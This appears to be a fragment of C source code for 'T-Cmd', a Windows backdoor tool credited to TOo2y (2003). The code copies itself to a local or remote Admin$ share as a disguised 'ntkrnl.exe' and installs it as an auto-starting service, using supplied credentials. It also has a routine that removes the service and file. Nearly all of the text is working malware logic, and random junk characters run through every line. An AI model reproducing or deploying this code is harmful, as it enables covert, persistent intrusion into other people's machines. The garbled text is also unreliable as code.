if(lpHost==NULL) / B7 f. _& p5 Q. a' A! t7 { { , h+ b7 f% m& {+ Z% j GetSystemDirectory(lpImagePath,MAX_PATH); 4 Y! J1 O% Q. ?; L0 y9 ?7 O strcat(lpImagePath,"\\ntkrnl.exe");6 m9 R4 `! j; `" o2 v n lpHostName=NULL; 2 L' O$ P1 y. n } . r3 _& V8 m9 J @. c' [ v else* s$ }0 O4 C( z6 n. K2 r( p/ z {* V4 o6 q# L7 k. D4 ]# n# x% s, d sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost); v) C G% I7 p w lpHostName=(char *)malloc(256);- b& O. }7 u& b( a, S- l9 e9 | sprintf(lpHostName,"\\\\%s",lpHost); 7 w/ s- I/ [+ n }

printf("Transmitting File ... "); 4 V1 T. H/ g3 o0 \1 U( u x. P% X hSearch=FindFirstFile(lpImagePath,&FileData);. M8 t2 l% |' y7 N. Q if(hSearch==INVALID_HANDLE_VALUE) 5 k D: ~8 M, X2 D9 `9 k { b6 j# ^9 ^+ b Y" ~4 Y GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); . o: J2 H+ r$ ?; G# w% i if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) : q5 c% Z" {, g. F: q' e2 e8 u# Q { . B( I9 O2 k- X1 |5 O3 i dwErrorCode=GetLastError(); # W: K7 L# c& R7 o9 m" `7 C- ~ if(dwErrorCode==5)% J% X- v6 v! [/ ^! g1 c9 y {: n. m& ~4 x, K printf("Failure ... Access is Denied !\n"); ( j1 T# G2 l! v' S* d5 ^8 v2 M" T }# }2 k' a6 R# j n9 N7 P9 y3 V6 C else ! [' B8 @ t0 n. M( Z A { : O/ X- B# m% M. `2 J printf("Failure !\n");- G3 w8 u8 q, M5 `! h8 } } % O1 A3 E4 u5 C, _ return ; # i9 D" t3 [0 \, c* c } # G- x2 M- a, a# R' o, |: h6 a else 9 Y4 N ]+ F; H+ z. q7 v N { & N+ e* F7 M+ q printf("Success !\n"); - K# d' k+ e/ ^ j& G4 X9 c }3 p3 n6 I7 W8 {& _ r" K. T }, P" D7 n9 {& v* q else / T8 c9 J* f) w8 F { " B; R" L: f; K s) l printf("already Exists !\n");- k4 O7 L2 b: Q( Z4 g- X FindClose(hSearch); % _9 I) R8 U. K/ D0 Y( K6 D }

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); / D, l% G: I* Q, m if(schSCManager==NULL)7 F/ u- k0 l/ x9 V+ }5 K4 j {0 Z1 V" _' \! g4 I, N2 w, R printf("Open Service Control Manager Database Failure !\n");1 d/ t9 Q) [% K$ u+ O( @9 c( v% S return ; 3 ?6 V% L7 |5 n) } }

printf("Creating Service .... ");2 {1 w' C5 [ A" f$ K schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS, . P& O5 P! R8 T7 Y. u6 U/ _ SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, 2 d/ Y( m8 |0 D0 s% I0 e SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); # w- R# Y: z, j9 j if(schService==NULL) ; Z7 B8 p* o: B* w: ~ { M# G: ?! o( L. A dwErrorCode=GetLastError();. w8 J4 f/ j4 f+ T/ \+ q if(dwErrorCode!=ERROR_SERVICE_EXISTS)/ ~+ X( J" _2 u: C8 o9 k { 9 U: K. N5 [8 } R/ D: S printf("Failure !\n"); 6 U) b6 `; e* W& B% }8 I CloseServiceHandle(schSCManager); ( W- [3 q- K1 `* t6 J2 K! \ return ; 2 K* R% ]) s8 e k } * M7 ?9 a. F( v9 x( H- `- u0 e# b7 E. O else4 C |1 I( \1 U { ( b# u/ @: K+ h5 p( s5 w+ d printf("already Exists !\n"); $ I2 J! ^3 E$ p/ }5 o' w2 G schService=OpenService(schSCManager,"ntkrnl",SERVICE_START); . R% d2 x5 k' |, [$ o0 M7 e if(schService==NULL) I; U4 x* e3 V( U4 i4 O! m+ u2 A& m) v { / e A0 {& s8 x [8 K printf("Opening Service .... Failure !\n"); , k+ ?+ o; i5 a CloseServiceHandle(schSCManager); % z1 }! u2 \; N/ B return ; 3 W1 T6 q* _0 [3 w7 p* h0 g6 r: p }! Y! t- P( U3 I2 ]' d }" c3 b9 y. @, Q- U }5 p( f r+ X) g: K, L: c& h& F else 1 ?9 S7 R3 p, Y" [9 d { , {9 V, }3 q2 ]1 H printf("Success !\n"); y, ~ h" w; `- A3 | }

printf("Starting Service .... "); 8 F* W2 Q, _& d8 ~6 ~ if(StartService(schService,0,NULL)==0) R4 s$ ?3 n% Z. Y g) `5 a {* Z S4 c4 G0 _3 i# u7 | dwErrorCode=GetLastError(); $ c; U: k# q4 n0 f/ e+ s if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING) 5 v6 g( ?& G7 t7 m) ?$ W3 j3 c {, @, V" Y; l# V0 V9 W' b printf("already Running !\n");. M! r5 Y" g0 d5 y CloseServiceHandle(schSCManager); " x" C3 O3 d7 b* D+ r0 _9 N& N CloseServiceHandle(schService); : d4 o5 N/ z h: U3 w0 i return ; ) r' j' k$ S& w3 |' Z1 M } , O0 o- p1 z/ ?) `) ` }9 n' ^0 R; ~. B: g% R" a! Z8 A( n else, C( F" b+ {3 s: X2 ]( T {* K5 i' O0 T! v$ w printf("Pending ... "); ; N1 t/ | [% S9 a% z }

while(QueryServiceStatus(schService,&InstallServiceStatus)!=0) ) T/ P, x5 u4 D) g8 S# i6 D { / Z, [( w7 W0 ~8 }" V if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)1 J% \1 ]# y+ {4 S# N4 A9 z; b { 7 R1 [- o, e+ n. {. g; K/ H3 { Sleep(100); , A9 o0 Q! |$ t6 q- y } - K J$ @- Y% _$ a: O2 x- Y, w else ! W& L1 T* }# \& ]8 T( U& D4 [ { 4 F* X! K% }4 r% G break; 1 V9 v) ]( S/ f3 q9 z4 a } * i {% z: g9 ~+ ]2 E }& s5 T( A$ y9 I+ K2 s if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)% A" }0 y2 [1 U: _, w% ~ { ! o: l1 A; k G! {" M" W printf("Failure !\n"); % ]* ]; J1 h, a" v }/ K6 \0 C$ r/ M. ^. @- I7 Z& P else " `& g" B, d K n* V1 z8 ]. q { 9 |7 y! d: C% g( r3 V4 K5 P" B printf("Success !\n");9 X2 N- o5 ?2 L0 Q* B }

CloseServiceHandle(schSCManager);3 S) b. I M( [! E! z J- D CloseServiceHandle(schService); : R4 y* ], p* ~. {3 i return ; / }' K$ h% f# T" l2 K}

void RemoveCmdService(char *lpHost) 6 P; O' | Z) m {: ?4 S3 \' V; c. | SC_HANDLE schSCManager; 7 @+ D6 ?* h* y( @$ v O* O SC_HANDLE schService; 9 P6 U) h' X. h/ R char lpImagePath[MAX_PATH]; 5 t' E- a6 S: Q2 F, |. k char *lpHostName; - s7 s3 c) n# m: L WIN32_FIND_DATA FileData; 2 e( e3 W+ @0 f2 V4 Z SERVICE_STATUS RemoveServiceStatus;& `4 v# I" `, i% ? HANDLE hSearch;* [+ w% }- y# n2 x% I9 G* _8 I DWORD dwErrorCode;

if(lpHost==NULL) 0 N9 i* Y5 S2 y' X { 5 K- N' Z% t4 u, K GetSystemDirectory(lpImagePath,MAX_PATH); . r" i& q% |" w5 l7 t+ d strcat(lpImagePath,"\\ntkrnl.exe"); l" C0 W @& v7 l lpHostName=NULL;3 R+ o/ A8 [: o f0 r. x } * g O+ M) ~3 c0 X( f! z3 e- F. s" I else + w0 Y* i7 i7 K4 t {6 y9 T3 S6 H0 E0 I$ V: h sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost); ; w% z! B O2 E" j, H lpHostName=(char *)malloc(MAX_PATH); m& T8 u6 k$ f sprintf(lpHostName,"\\\\%s",lpHost);0 f% { q0 X1 F! y& m }

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); + g/ b: o7 m) y- f if(schSCManager==NULL)4 V P$ T& |% q ?% `7 p. o {( n; K: Z% x. q3 m8 d printf("Opening SCM ......... ");9 M$ ?3 ?) j5 r: M0 w0 F7 x$ C& g dwErrorCode=GetLastError(); ! n1 A6 ^/ s4 O; Y" ^ if(dwErrorCode!=5)" Y! ~5 F: _! {. n {. F7 w1 Q, _1 d- n% ?; j printf("Failure !\n"); * J7 t! n& F4 Q# Q5 E- |& X6 E }3 J/ w. A1 R* t else ' P, K9 d! n+ _7 x { 0 l, ^, Q% F; }# ^ printf("Failuer ... Access is Denied !\n");" t5 R! n7 V# J. X }* W( O8 H/ ^2 K. w$ R) o+ M return ; + Q, x. Y- }' C q2 ^ }

schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS); & B% K' t, K1 m if(schService==NULL) & o s# T% i$ `# u# Y' K- n0 A0 B: U {( H+ B: R) H, i4 |3 ?1 | printf("Opening Service ..... ");& Z; T9 `, h& p8 f dwErrorCode=GetLastError(); ! P$ I* }5 w0 _9 Z. S6 r' s. B if(dwErrorCode==1060) 3 u4 |* m% T2 o4 E4 b8 Q {, c, U; N7 F V. G4 H t printf("no Exists !\n"); ) \( t" d. I5 e3 A; O. f } 5 e2 W: l B/ H* i* u0 @ else / m( O8 w" s3 p# v8 ~ { 1 v% n! x9 K( H/ U4 Z. i7 F2 f printf("Failure !\n");" |0 O, k4 H& V% H- Y$ f }" G) Y% Y7 W) R0 u5 V CloseServiceHandle(schSCManager); ?7 S0 D' K N2 n# D } j& w8 X2 M$ J( {$ ]" U else+ ~- T6 k0 r1 h: K+ f {! Z! Y: A# \& k printf("Stopping Service .... ");: X5 \6 m/ ] b if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0) " ]' m+ p' C: q; J4 W/ B' @ {; E- E* J5 ]) v if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)) A6 E: h5 w, c! h3 {# J {* Z* k" \8 b% P. X% H printf("already Stopped !\n"); 7 O* W3 l4 V8 s4 Z }) W" o5 @& c% `1 @ else4 G) U9 z& J! |* ?) P2 h9 U {; g+ a. {$ h. j# d' K( V printf("Pending ... "); : l% Q* l; p) C0 V+ F9 h if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0) ( j; g- T7 _0 d! t, ^3 l {0 p3 B0 @; i6 v while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING) , P! M9 V' F V$ k0 {& @ {; b$ ]4 X& Z2 N) O Sleep(10);) h) J" L) Q( Y4 {/ D; i; n# F2 Z- g QueryServiceStatus(schService,&RemoveServiceStatus);7 v& t! t& ?5 `2 {" F" @# Y2 N } 0 f" v& ] |0 J if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)% t2 J; ^0 |! N8 ~ { - A$ T3 E4 R' ?0 I0 m) C5 [ printf("Success !\n"); % a# \; x* o# E' b } 4 B# d+ T1 E, m" u else 3 p) I8 }( t' @5 E% b: b- B { 9 F7 \7 p( a7 Z1 Z& J$ P printf("Failure !\n"); $ g) f& _' F6 c3 r5 { } 4 K/ Z# Z! P; |, m7 X- g G8 S- ]/ ` }3 P5 }- Q! o3 T4 _2 P6 n3 l* m } else : @5 `4 v& k1 X5 J+ F3 h) h { ! v) x' ~8 g+ g' z) q/ x# ? printf("Failure !\n"); , ` D2 {$ ]- K/ \/ ~" }* |4 J }% [; _; k8 u1 l } 0 f0 R5 o# [- g1 z2 [! K/ y. R+ c }4 ?+ V* \* m( ~% x else8 d0 A* w5 d7 M$ m { ' Z* v) ?. A3 I6 W( ^ printf("Query Failure !\n"); k/ k; [6 O7 P- `6 _ }

printf("Removing Service .... "); % }7 h/ i+ M6 j: W& Y9 W if(DeleteService(schService)==0)2 W4 p) z- N) L' o2 m {! q9 ~1 g b7 `0 I" e printf("Failure !\n"); , W! t7 A! M, m% G) v. s0 q } % N" @" X& I4 I. @ else ! A" v1 w( g1 @7 d5 m9 Q! L% ]# z { * P- [# w4 D0 ?) `" K printf("Success !\n"); # k2 k' I- j" S; @8 P }2 s% u- J' e* i) l }

CloseServiceHandle(schSCManager); ' c! J2 i' x7 Y. m CloseServiceHandle(schService);

printf("Removing File ....... ");1 l9 p: O; O2 } I1 Z Sleep(1500); 2 P$ d- A! @4 Q' Q" w6 y hSearch=FindFirstFile(lpImagePath,&FileData);: m1 I7 X( G; [4 }6 v if(hSearch==INVALID_HANDLE_VALUE) 9 n* g" b( p h3 g9 v4 K- @3 I( x { 2 H. c% q7 K8 X. j" ?( \0 L- R printf("no Exists !\n");/ |* Y' u, T/ a/ n3 e2 m } . [# j9 e9 z. q+ m2 s; V" P7 k% ~/ z else! E9 |# T7 ?. f) n" `1 j$ E {8 P) f( c; U) s! Q% v1 b7 |, N1 d+ _ if(DeleteFile(lpImagePath)==0) 3 D! o* n0 w! A; ^3 B3 k {) X9 p$ w3 _) R* i3 n8 K printf("Failure !\n"); ` r" E; I7 C, _ }+ P/ n7 j; | p6 F3 l4 @) v else8 R+ k. H% u& x, x/ l/ W7 s; ^/ @ { " ^# @6 w ?2 u% J printf("Success !\n"); ( B! M% w! u" F$ S2 o }8 b9 L& t. b! a- c FindClose(hSearch);: u1 L' \, p/ H# U! J" u% ` }

return ;" N1 t+ A. }' }! \' j, C6 v }

void Start() 3 v; v4 L8 z W+ p. A1 O$ `{ & g2 ~! f" R/ E$ ?/ A printf("\n");* B: w. \' L6 \ printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");1 Q5 T) ?0 k( t printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");9 K/ D& Q) u' x printf("\t\t---[ HomePage: www.safechina.net ]---\n"); 8 ^' i4 E- ^. f printf("\t\t---[ Date: 02-05-2003 ]---\n\n");$ s8 l8 p; v" F. U return ;, U j0 ^$ h9 _; w5 w }

void Usage() ( m: g' d7 ~8 n{! l9 o& Z+ E0 U" c) {+ b printf("Attention:\n"); 3 s: T2 u& K9 s( P$ { printf(" Be careful with this software, Good luck !\n\n");6 }3 J6 `- s5 r: M7 k9 Q printf("Usage Show:\n");) W3 [- \% @$ s. a# [- X printf(" T-Cmd -Help\n"); 4 T7 Q' _- c4 {. H; q printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n"); printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n"); ' N0 [ N8 w/ d( z S. _+ l2 C printf("Example:\n"); 1 d& h% H: }9 ` printf(" T-Cmd -Install (Install in the localhost)\n");* v# n8 ~/ B3 F" K) O7 a7 `% W7 \" Q printf(" T-Cmd -Remove (Remove in the localhost)\n");1 l F, T4 ]; B printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n"); 2 M* o- u6 o- h5 I' f `8 j* d+ K printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n"); 4 y* x6 p& [/ P: C, R S! n3 I printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n"); 2 q+ Y v4 ^% r return ; & g& @9 D7 h- M f. q; Q} 6 W; X2 L* ^8 l5 }) _